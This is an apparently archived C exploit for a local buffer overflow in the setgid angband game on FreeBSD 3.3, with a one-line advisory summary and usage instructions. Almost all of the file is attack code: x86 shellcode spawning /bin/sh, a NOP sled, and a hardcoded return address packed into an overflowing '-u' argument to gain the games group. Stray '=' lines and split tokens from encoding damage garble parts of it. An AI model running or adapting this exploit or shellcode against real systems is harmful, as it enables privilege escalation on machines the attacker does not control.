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69 lines
No EOL
1.8 KiB
C
69 lines
No EOL
1.8 KiB
C
// source: https://www.securityfocus.com/bid/840/info
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The version angband shipped with FreeBSD 3.3-RELEASE is vulnerable to a local buffer overflow attack. Since it is setgid games, a compromise of files and directories owned by group games is possible.
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/* FreeBSD 3.3 angband exploit yields egid of group games
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* usage: gcc -o angames angames.c
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/path/to/angband `./angames <offset>`
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* overflow is 1088bytes of NOP/Shellcode + 4bytes EIP +2bytes garbage
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* Brock Tellier <btellier@usa.net>
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*/
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#include <stdio.h>
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char shell[]= /* mudge@lopht.com */
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"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
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"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
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"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
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"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
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=
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=
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main (int argc, char *argv[] ) {
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int x = 0;
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int y = 0;
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int offset = 0;
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int bsize = 1095; /* 2bytes"-u" + overflowed buf's bytes + */
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char buf[bsize]; /* 4bytesEBP + 4bytesEIP + 2bytesGarbage */
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char arg[bsize + 2];
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int eip = 0xbfbfc6b4; /* FreeBSD 3.3 */
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=
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if (argv[1]) { =
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offset = atoi(argv[1]);
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eip = eip + offset;
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}
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fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsiz=
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e);
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=
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for ( x = 0; x < 1021; x++) buf[x] = 0x90;
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fprintf(stderr, "NOPs to %d\n", x);
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=
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for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
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fprintf(stderr, "Shellcode to %d\n",x);
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=
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buf[x++] = eip & 0x000000ff;
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buf[x++] = (eip & 0x0000ff00) >> 8;
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buf[x++] = (eip & 0x00ff0000) >> 16;
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buf[x++] = (eip & 0xff000000) >> 24;
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fprintf(stderr, "eip to %d\n",x);
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buf[x++] = 'X';
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buf[x++] = 'X';
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fprintf(stderr, "garbage to %d\n", x);
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buf[bsize - 1] = '\0';
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sprintf(arg, "-u%s", buf);
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arg[bsize + 1] = '\0';
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=
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printf("%s", arg);
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=
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} |